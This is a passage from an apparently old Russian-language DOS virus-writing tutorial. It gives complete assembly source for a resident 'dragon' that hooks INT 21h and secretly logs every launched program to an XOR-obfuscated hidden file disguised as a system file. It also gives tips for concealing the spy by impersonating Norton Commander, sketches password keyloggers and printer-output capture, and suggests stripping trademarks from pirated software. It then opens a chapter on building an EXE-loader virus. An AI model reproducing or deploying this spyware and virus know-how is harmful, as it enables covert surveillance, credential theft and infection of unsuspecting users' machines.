Коментарий:
Блок-схема крайне проста. Чтобы сохранить секретность (если кто-то обна-
ружит файл данных), - мы шифруем имена запускаемых файлов. В нашем примере
для наглядности это делается архипримитивно: XOR data,DBh, Вы можете приду-
мать собственный алгоритм. После помещения зашифрованного имени в буфер мы
пытаемся открыть файл, в который сбрасываем разведданные. Делается это при
помощи еще доселе неизвестной нам функции 3Dh. Мы пользовались ранее функцией
3Ch - создание файла. Однако в данном случае она не годится, т.к. если попы-
таться открыть при помощи нее уже существующий файл, его содержимое будет
уничтожено.
Вот структура вызова функции 3Dh (по данным thelp):
----------T-------T-----------------------------------------
¦ Вход ¦ AH ¦ 3dH (Открыть описатель файла)
L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла
¦ AL ¦ Режим открытия
----------+-------+-----------------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ ¦ описатель файла если нет ошибки
L-------¦-----------------------------------------
Описание:
DS:DX указывает на строку ASCIIZ в формате: "d:\путь\имяфайла",0.
Если диск и/или путь опущены, они принимаются по умолчанию.
-> файл должен существовать. См. функцию 3cH (Создать Файл).
-> файл открывается в выбранном Режиме Доступа / Режиме Открытия
Для совместимости с DOS 2.x и избежания сетевых режимов, задавайте:
AL = 0 чтобы открыть для чтения
AL = 1 чтобы открыть для записи
AL = 2 чтобы открыть для чтения и записи
Если же в момент вызова этой функции файла данных не существовало, то на
выходе из прерывания будет установлен флаг CF (ошибка), а в AX будет код
ошибки (в данном случае = 3 -- файл не найден).
Наш резидент попытается открыть уже существующий файл данных функцией
3Dh в режиме чтение/запись и, если выяснится, что такого файла нет, -- соз-
даст его при помощи функции 3Ch.
А что делать, если файл уже существует и успешно открылся на чтение/за-
пись? Сразу же начать в него записывать? НЕТ! Сначала следует переместить
файловый указатель к концу файла, иначе -- мы затрем нашей записью более ран-
ние данные. Данные пишутся в файл в то место, на которое указивает файловый
указатель. После открытия файла он устанавливается на его начало. Файловый
указатель можно перемещать по файлу при помощи функции 42h прерывания 21h.
Вот она какая:
----------T-------T----------------------------------------------------
¦ Вход ¦ AH ¦ 42H (Установить указатель файла -- LSEEK)
L---------¦ BX ¦ описатель файла
¦ CX:DX ¦ на сколько передвинуть указатель: (CX * 65536) + DX
¦ AL ¦ 0 переместить к началу файла + CX:DX
¦ ¦ 1 переместить к текущей позиции + CX:DX
¦ ¦ 2 переместить к концу файла + CX:DX
----------+-------+----------------------------------------------------
¦ Выход ¦ AX ¦ код ошибки если CF установлен
L---------¦ DX:AX ¦ новая позиция указателя файла (если нет ошибки)
L-------¦----------------------------------------------------
Описание: Перемещает логический указатель чтения/записи к нужному адресу.
Очередная операция чтения или записи начнется с этого адреса.
Замечение: Вызов с AL=2, CX=0, DX=0 возвращает длину файла в DX:AX. DX здесь
старшее значащее слово: действительная длина (DX * 65536) + AX.
Ну вот в принципе и все. Ниже приводим саму программу:
-----------------------------------------------------------¬
¦ пример 16 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа 16 - "дракон", шпионящий за запуском программ
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP initial ;переход на инициализир. часть
;
;
f_number: DW 0 ;для хранения описателя файла
f_name: DB 'C:\DOS\CHKSUM',0 ;имя файла для сброса разведданных
; ; (его можно зашифровать и расшифро-
; ; вывать лишь при посадке резидента)
;
; ;хранилище для адреса стандартного
saved_int21: DD 0 ; обработчика прерывания 21
; ; (2 слова)
;
int21_treater:CMP AH,4Bh
JE begin
JMP retro ;возврат управления JMP far если
begin: PUSH AX ; это не EXEC
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
;-------------пересылка имени запускаемого файла в буфер------¬
MOV DI,DX ; ¦
MOV SI,OFFSET buffer - 100h ; ¦
resend_again: MOV AL,byte ptr DS:[DI] ; ¦
XOR AL,0DBh ;зашифровка имени ¦
MOV byte ptr CS:[SI],AL ;(суперпримитивно!)¦
INC DI ; ¦
INC SI ; ¦
CMP AL,0DBh ;контроль 0 - конца¦
JNE resend_again ; ASCIIZ строки, ¦
; ; (из-за XOR AL,DBh¦
XOR DI,DI ; 0 превращ. в DBh)¦
slash: DEC SI ; ¦
INC DI ; ¦
CMP byte ptr CS:[SI],87h ;поиск первого "\" ¦
JNE slash ; перед 0; (5Ch ¦
PUSH SI ;сохраним длину и координату ; из-за XOR прев- ¦
PUSH DI ; добытого имени в стеке ; ращ. в 87h) ¦
;--------------------------------------------------------------
;----------открыть файл для чтения/записи---------------------¬
PUSH CS ;DS:[DX] имя файла ¦
POP DS ; данных ¦
MOV DX,OFFSET f_name - 100h ; ¦
MOV CX,0 ;атрибут файла ¦
MOV AH,3Dh ;открыть в режиме ¦
MOV AL,2 ; пиши-читай ¦
CALL call_int21 ; ¦
MOV word ptr CS:[f_number-100h],AX ; ¦
; ; ¦
JNC file_exist ;контроль ошибок --¦
CMP AL,3 ; если файла не ¦
JA errors ; было,его создадут
;--------------------------------------------------------------
;-----------создать файл данных-------------------------------¬
MOV DX,OFFSET f_name - 100h ; ¦
MOV CX,0 ; ¦
MOV AH,3Ch ; ¦
CALL call_int21 ; ¦
MOV word ptr CS:[f_number-100h],AX ; ¦
;--------------------------------------------------------------
file_exist: ;------------установка LSEEK на конец файла данных------------¬
XOR CX,CX ; ¦
XOR DX,DX ; ¦
MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV AL,2 ; ¦
MOV AH,42h ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
;------------запись данных -----------------------------------¬
MOV BX,word ptr CS:[f_number-100h] ; DS:[DX] буфер ¦
POP CX ;извлечем координату
POP DX ; и длину имени ¦
MOV AH,40h ; из стека ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
;---------закрыть файл----------------------------------------¬
MOV BX,word ptr CS:[f_number-100h] ; ¦
MOV AH,3Eh ; ¦
CALL call_int21 ; ¦
;--------------------------------------------------------------
errors: POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
retro: JMP dword ptr CS:[saved_int21-100h]
;
;----вызов стандартного обработчика int 21h (процедура)-------¬
call_int21: PUSHF ¦
CALL dword ptr CS:[saved_int21-100h] ¦
RET ¦
;--------------------------------------------------------------
;
;
;
initial: ;--------------создаем TSR - копию----------------------------¬
MOV AX,DS:[02] ;берем вершину свободной памяти ¦
; ; (в параграфах) ¦
SUB AX,40h ;уменьшаем ее на 40h (в парагр.) ¦
; ; ¦
PUSH CS ; ¦
POP DS ; ¦
MOV SI,OFFSET my_head ;копируем из источника DS:head ¦
MOV ES,AX ;копируем в приемник ES:00; в ES ¦
XOR DI,DI ; - новая вершина своб. памяти ¦
MOV CX,my_end - my_head ; ¦
CLD ; ¦
REPE MOVSB ; ¦
; ; ¦
MOV BX,DS ; ¦
DEC BX ; ¦
MOV DS,BX ;уменьшаем размер МСВ-блока ¦
SUB word ptr DS:[03h],40h ;уменьшаем вершину свободной¦
SUB word ptr DS:[12h],40h ; памяти ¦
;--------------------------------------------------------------
;-------------перехват вектора 21h----------------------------¬
XOR BX,BX ; сохраняем старый ¦
MOV DS,BX ; вектор ¦
MOV AX,DS:[21h*4+0] ;48Bh ; ¦
MOV word ptr ES:[saved_int21-100h+0],AX ; ¦
MOV AX,DS:[21h*4+2] ;5BDh ; ¦
MOV word ptr ES:[saved_int21-100h+2],AX ; ¦
; ; ¦
CLI ; замен. в таблице ¦
MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST¦
MOV word ptr DS:[21h*4+2],ES ;------>SEGMENT ¦
STI ; ¦
;--------------------------------------------------------------
;----------выход в DOS ---------------------------------------¬
to_dos: INT 20h ; ¦
;--------------------------------------------------------------
buffer DB 60h DUP(0)
my_end: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Чтобы Ваш шпионаж было не так легко разоблачить, Вы можете запускать
данного "дракона" не из autoexec-а. Вы можете дополнить процедуру посадки ре-
зидента блоком запуска основной оболочки (как правило - norton comander), пе-
реименованной из nc.exe в что-либо другое. Имя же вашего "дракона" пусть бу-
дет nc.exe ( СОМ-файл можно назвать расширением ЕХЕ-).
Еще о всяких разных "драконах". Несколько примеров (вернее сказать --
намеков) Вы можете найти в /9/. Например перехват вводимых с клавиатуры паро-
лей и конфиденциальных текстов, сохранение в специальных файлах копий тексто-
вого экрана и т.д. При "подсматривании" какого-либо пароля достаточно создать
резидент, перехватывающий прерывания 9 (ввод с клавиатуры) и 21h - функция
4Bh (EXEC). Резидент активируется как только будет запущена программа запроса
пароля (он узнает об этом либо по ее имени, передаваемом в EXEC, либо - ана-
лизируя ее код в соответствующем файле). Как только резидент узнал, что запу-
щена утилита, запрашивающая пароль, он начинает отслеживать коды нажимаемых
клавиш и сбрасывать их в специальный файл, который Вы потом найдете. Вы впол-
не уже можете написать такую программу; - если все вышесказанное было Вам по-
нятно, -- то это не составит большого труда.
Можно так же перехватывать в специальный скрытый файл информацию, выда-
ваемую на принтер.
Иногда при работе с нелицензионными копиями различных программ (бухгал-
терия и т.п.) возникает необходимость обрубить при печати документов выдачу
на принтер торговой марки прежнего владельца и заменить ее своей собственной.
В этом случае можно посадить резидент на прерывание BIOS 17h и анализировать
поток информации, поступающей на принтер на наличие определенной подстроки.
гл.10 СОЗДАНИЕ ВИРУСА, ИСПОЛНЯЮЩЕГО ФУНКЦИИ ЗАГРУЗЧИКА ЕХЕ-ФАЙЛОВ
(посвящается искуству создателя BootExe-451(452))
============================================================================
СРАЗУ ВОПРОС -- а стоит ли вообще возиться с ЕХЕ-файлами, изучать их
структуру и функционирование; -- пригодится ли это кому-либо для чего-либо в
повседневных делах? Думаем, что да. Может пригодиться. Иногда возникает нужда
в модификации уже имеющегося у Вас ЕХЕ-файла (перекомпилировать его нельзя,
т.к. у Вас нет исходника). Такая проблема возникает при вакцинации файлов,
дополнении их процедурами защиты от копирования и т.д.
Мы начали изучение вирусов с конструкций, прячущихся в заголовках
ЕХЕ-файлов. Руководствовались при этом принципом "от простого к сложному",
т.е. начали так, чтобы хоть как-то начать и не отпугнуть Вас лавиной новой
информации. В реальной жизни подобных вирусов не так уж много. В прежние вре-
мена было навалом ЕХЕ-файлов с практически пустым заголовком. Вирусы, подоб-
ные выше описанным, имели превосходную среду для распространения. А сейчас
таких файлов стало намного меньше. Причина тому - обработка ЕХЕ-файлов специ-
альными упаковщиками; а также -- наличие оптимизированных компиляторов Паска-
ля, Си++ и пр. Поэтому вирусы, заражающие ЕХЕ-файл путем записи в заголовок и
при этом не затирающие собою его данные, в настоящее время имеют не так много
шансов, как прежде. И, тем не менее, написание такого вируса может дать бога-
тую пищу для ума.
Последним мы рассмотрели вирус, который в момент посадки своей резиден-
тной копии был вынужден запустить зараженный файл как дочерний процесс. Весь-
ма много затрачено труда и места для процедуры выполняющейся лишь один раз
(EXEC - в момент посадки резидента). А может ли вирус запустить зараженный
ЕХЕ-файл не пользуясь EXEC? Да. Если возьмет на себя функции DOS-овского заг-
рузчика исполняемых файлов. Он в этом случае должен выполнить всю работу заг-
рузчика. Что это за работа? Вот она:
----->1. провести корректировку значений настраиваемых элементов (разъ-
¦ яснение см. ниже).
+---->2. инициализировать значения регистров SS и SP (загрузить в них
¦ адрес сегмента стека и его вершины). Адрес сегмента стека =
¦ = сегментный адрес загрузки ЕХЕ-файла в память (точка, кото-
¦ рой заканчивается PSP) + смещение сегмента стека относительно
¦ начала файла.
+---->3. совершенно аналогично инициализировать значения регистров CS
¦ и IP и тем самым передать управление по адресу первой испол-
¦ няемой команды в ЕХЕ-файле.
¦
¦ - данные для этих стадий ¬
¦ ¦(смещения сегментов в файле и ¦
¦ ¦адреса настраиваем. элементов)¦
L------------------+берутся из заголовка ЕХЕ-файла¦
L см его карту в гл. 5 (рис.7) -
Поскольку вирус заражая файл, превращает его из ЕХЕ- в СОМ-, нужно
добавить еще одну стадию (вообще-то она должна предшествовать пункту 3):
4. перемещение образа файла (кода файла, начинающегося сразу после
заголовка) к концу PSP на то место, где сразу после загрузки
файла с диска находился экс-заголовок ЕХЕ-файла с содержащимся
в нем кодом вируса (если бы файл был полноценным ЕХЕ-, то его
заголовок изначально не был бы загружен в память).
Если смысл пунктов 2,3,4 достаточно прозрачен, то пункт "корректировка
значений настраиваемых элементов" - это что-то новое. Зачем вообще это нужно?
Что такое настраиваемый элемент?
Дело в том, что ЕХЕ-файл состоит из нескольких сегментов. Различные объ-
екты, располагающиеся в каком-либо из сегментов (процедуры, массивы и т.д.)
могут адресоваться в зависимости от места загрузки ЕХЕ-файла в память. Ключ
каждой такой адресации и есть настраиваемый элемент. Наперед не может быть
известно, с какого адреса будет загружена та или иная программа, и поэтому
загрузчик должен в зависимости от каждого конкретного случая определенным об-
разом корректировать настраиваемые элементы. В зависимости от адреса загрузки
программы (адрес места, где кончается PSP).
Адреса настраиваемых элементов располагаются в специальной области заго-
ловка ЕХЕ-файла, называемой relocation table (таблица перемещения).
Каждый такой сегментно-оффсетный адрес (2 слова) указывает на ключ (на-
верное адрес) внутри ЕХЕ-файла, после считывания файла с диска нуждающийся в
корректировке. КОРРЕКТИРОВКА ЗАКЛЮЧАЕТСЯ В СЛОЖЕНИИ УПОМЯНУТОГО КЛЮЧА, НАХО-
ДЯЩЕГОСЯ ПО АДРЕСУ ИЗ RELOCATION TABLE С АДРЕСОМ ЗАГРУЗКИ ЕХЕ-ФАЙЛА В ПАМЯТЬ
(сегментным адресом места, где кончается PSP).
Вот и все функции загрузчика по обработке ЕХЕ-файла. Ни много, ни мало.
Сочиним же блок/схему вируса, берущего на себя сие тяжкое бремя:
-------------------------------------¬ --------------------¬
¦создание своей резидентной копии и ¦ ¦ Ну а процедура об-¦
¦передача управления на свое продол- ¦ ¦ работки прерывания¦
¦жение уже в этом резиденте ¦ ¦ 13h практически ¦
L----------------T-------------------- ¦ такая же, как и в¦
-----------------+-------------------¬ ¦ предыдущем примере¦
¦корректировка настраиваемых элементов ¦ ¦
L----------------T-------------------- ¦ ¦
-----------------+-------------------¬ ¦ . . . . ¦
¦ настройка SS и SP ¦ ¦ ¦
L----------------T-------------------- ¦ ¦
-----------------+-------------------¬ ¦ ¦
¦ смещение образа ЕХЕ-файла на место ¦ ¦ ¦
¦ начала его экс-заголовка ¦ ¦ ¦
L----------------T-------------------- ¦ ¦
-----------------+-------------------¬ ¦ ¦
¦ настройка CS и IP, т.е. передача уп- ¦ ¦
¦ равления в ЕХЕ-файл ¦ ¦ ¦
L------------------------------------- L--------------------
Далее
|